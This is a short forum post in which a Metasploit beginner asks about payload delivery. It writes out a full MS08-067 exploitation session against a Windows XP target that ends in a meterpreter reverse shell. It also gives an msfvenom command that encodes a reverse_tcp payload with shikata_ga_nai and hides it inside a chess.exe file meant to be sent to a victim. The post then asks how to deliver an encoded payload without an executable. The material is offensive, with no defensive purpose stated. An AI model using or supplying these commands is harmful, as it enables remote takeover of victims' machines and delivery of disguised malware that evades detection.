I am newbie in Metasploit. Still learning the basics but I'm confused and would like some help.
1) - Previously I learnt how to simply exploit any O.S. vulnerability using meterpreter. We can send an exploit to the target system and create a bind/reverse shell for control. Example -
Hack windows xp with MS08-067 exploit
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4 (Target)
RHOST => 192.168.1.4
msf exploit(ms08_067_netapi) > exploit
meterpreter > sysinfo
meterpreter > shell
Now by the above commands we can use a shell of target from the attacker machine. There is no need to create any exe in order to connect to the target vulnerable system. Meterpreter automatically injects memory and we can get shell.
Now when we use an encoder we have to create an exe and have to bind our payload inside the exe. When the victim runs this exe we can get the victim's system shell.
msfvenom -p windows/meterpreter/reverse_tcp LHOST= "" LPORT= ""-x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe
In order to exploit the victim's system we have to transfer this exe to their system.
Previously we don't require any exe in order to exploit a system but with use of an encoder we need an exe to hide the payload. Can we simply encode our meterpreter tcp_bind payload without exe and send this to victim system?
Any help really appreciable.
